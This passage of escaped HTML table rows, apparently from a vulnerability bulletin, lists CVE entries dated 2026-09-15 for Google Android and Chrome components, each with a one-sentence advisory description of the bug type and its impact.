&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58678&quot; target=&quot;_blank&quot;&gt;CVE-2026-58678&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In gf_ta_test_set_config of gf_ta_test.c, there is a possible heap buffer overflow due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58679&quot; target=&quot;_blank&quot;&gt;CVE-2026-58679&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In IP Multimedia Subsystem, there is a possible out-of-bounds write due to improper input validation. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58683&quot; target=&quot;_blank&quot;&gt;CVE-2026-58683&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In FsmReleaseKey of fsm.c, there is a possible permission bypass due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58691&quot; target=&quot;_blank&quot;&gt;CVE-2026-58691&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In gmc_phy_lp3_exit_restore_registers of phy_power.c, there is a possible escalation of privilege due to a missing bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58695&quot; target=&quot;_blank&quot;&gt;CVE-2026-58695&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In ap_pmic_poll_msg_handler of ap_pmic_ipc.c, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58698&quot; target=&quot;_blank&quot;&gt;CVE-2026-58698&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In Vp9DecEndOfStream of vp9hwd_output.cc, there is a possible out-of-bounds read due to an incorrect bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58699&quot; target=&quot;_blank&quot;&gt;CVE-2026-58699&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In trusty_dputc of generic-arm64-smcall.c, there is a possible out-of-bounds write due to a race condition. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58701&quot; target=&quot;_blank&quot;&gt;CVE-2026-58701&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In Cellular Modem, there is a possible permission bypass due to a logic error in the code. This could lead to remote (proximal/adjacent) escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58704&quot; target=&quot;_blank&quot;&gt;CVE-2026-58704&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In DecodeFilmGrainParams of film_grain_dec.cc, there is a possible out-of-bounds write due to a missing bounds check. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58710&quot; target=&quot;_blank&quot;&gt;CVE-2026-58710&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible time-of-check to time-of-use due to a race condition. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58716&quot; target=&quot;_blank&quot;&gt;CVE-2026-58716&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In smmu_detach_dev_nested of arm-smmu-v3.c, there is a possible escalation of privilege due to improper input validation. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58718&quot; target=&quot;_blank&quot;&gt;CVE-2026-58718&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible information disclosure due to uninitialized memory use. This could lead to local information disclosure with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58721&quot; target=&quot;_blank&quot;&gt;CVE-2026-58721&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible use-after-free due to a race condition. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58724&quot; target=&quot;_blank&quot;&gt;CVE-2026-58724&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In FsmReleaseKey of fsm.c, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58726&quot; target=&quot;_blank&quot;&gt;CVE-2026-58726&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In ARM64_TLBI of mmu.h, there is a possible memory corruption due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58728&quot; target=&quot;_blank&quot;&gt;CVE-2026-58728&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of physmem_extmem_linux.c, there is a possible out-of-bounds read due to uninitialized data. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58731&quot; target=&quot;_blank&quot;&gt;CVE-2026-58731&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In google_mba_recv_msg of google_mba_poll.c, there is a possible out-of-bounds write due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58734&quot; target=&quot;_blank&quot;&gt;CVE-2026-58734&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In platform_msg_handler_init of default_msg_handlers.c, there is a possible confused deputy due to a confused deputy. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58739&quot; target=&quot;_blank&quot;&gt;CVE-2026-58739&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible escalation of privilege due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58744&quot; target=&quot;_blank&quot;&gt;CVE-2026-58744&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In smmu_detach_dev of arm-smmu-v3.c, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58747&quot; target=&quot;_blank&quot;&gt;CVE-2026-58747&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of arm-smmu-v3.c, there is a possible use-after-free due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58751&quot; target=&quot;_blank&quot;&gt;CVE-2026-58751&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In smmu_install_nested_ste of arm-smmu-v3.c, there is a possible escalation of privilege due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58755&quot; target=&quot;_blank&quot;&gt;CVE-2026-58755&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In GPU, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58765&quot; target=&quot;_blank&quot;&gt;CVE-2026-58765&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of arm-smmu-v3.c, there is a possible escalation of privilege due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58766&quot; target=&quot;_blank&quot;&gt;CVE-2026-58766&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of arm-smmu-v3.c, there is a possible escalation of privilege due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58767&quot; target=&quot;_blank&quot;&gt;CVE-2026-58767&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In link_load_gnss_image of link_device.c, there is a possible out-of-bounds write due to a missing bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58773&quot; target=&quot;_blank&quot;&gt;CVE-2026-58773&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Race condition in Network in Google Chrome prior to 153.0.8010.47 allowed a remote attacker who had compromised the renderer process to obtain cross-origin data via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91708&quot; target=&quot;_blank&quot;&gt;CVE-2026-91708&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Type confusion in ServiceWorker in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91709&quot; target=&quot;_blank&quot;&gt;CVE-2026-91709&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in WebAppInstalls in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91710&quot; target=&quot;_blank&quot;&gt;CVE-2026-91710&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Out of bounds write in ServiceWorker in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91711&quot; target=&quot;_blank&quot;&gt;CVE-2026-91711&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Race condition in Extensions in Google Chrome on on Mac prior to 153.0.8010.47 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91712&quot; target=&quot;_blank&quot;&gt;CVE-2026-91712&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in Browser in Google Chrome prior to 153.0.8010.47 allowed a remote attacker who had compromised the renderer process to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91713&quot; target=&quot;_blank&quot;&gt;CVE-2026-91713&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Observable discrepancy in Fonts in Google Chrome prior to 153.0.8010.47 allowed a remote attacker leveraging social engineering to leak sensitive information via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91714&quot; target=&quot;_blank&quot;&gt;CVE-2026-91714&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Type confusion in ServiceWorker in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91715&quot; target=&quot;_blank&quot;&gt;CVE-2026-91715&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Auth in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91716&quot; target=&quot;_blank&quot;&gt;CVE-2026-91716&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Missing authorization in Android in Google Chrome on on Android prior to 153.0.8010.47 allowed a local attacker to obtain sensitive information via a co-installed app. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91717&quot; target=&quot;_blank&quot;&gt;CVE-2026-91717&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Core in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91718&quot; target=&quot;_blank&quot;&gt;CVE-2026-91718&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Code injection in XML in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91719&quot; target=&quot;_blank&quot;&gt;CVE-2026-91719&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Uninitialized resource in ANGLE in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91720&quot; target=&quot;_blank&quot;&gt;CVE-2026-91720&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Internals in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91721&quot; target=&quot;_blank&quot;&gt;CVE-2026-91721&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Input in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91722&quot; target=&quot;_blank&quot;&gt;CVE-2026-91722&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Race condition in WebAppInstalls in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91723&quot; target=&quot;_blank&quot;&gt;CVE-2026-91723&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in Input in Google Chrome prior to 153.0.8010.47 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91724&quot; target=&quot;_blank&quot;&gt;CVE-2026-91724&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Observable discrepancy in CSS in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to leak sensitive information via a crafted HTML page. (Chromium security severity: Medium)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91725&quot; target=&quot;_blank&quot;&gt;CVE-2026-91725&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Out of bounds read in WebGL in Google Chrome on on Android prior to 153.0.8010.47 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91726&quot; target=&quot;_blank&quot;&gt;CVE-2026-91726&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Incorrect reference resolution in Extensions in Google Chrome on on Mac prior to 153.0.8010.47 allowed a local attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a local program. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91727&quot; target=&quot;_blank&quot;&gt;CVE-2026-91727&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Integer overflow in V8 in Google Chrome prior to 153.0.8010.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91728&quot; target=&quot;_blank&quot;&gt;CVE-2026-91728&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Chrome&lt;/td&gt;
&lt;td&gt;Use after free in DigitalCredentials in Google Chrome prior to 153.0.8010.47 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
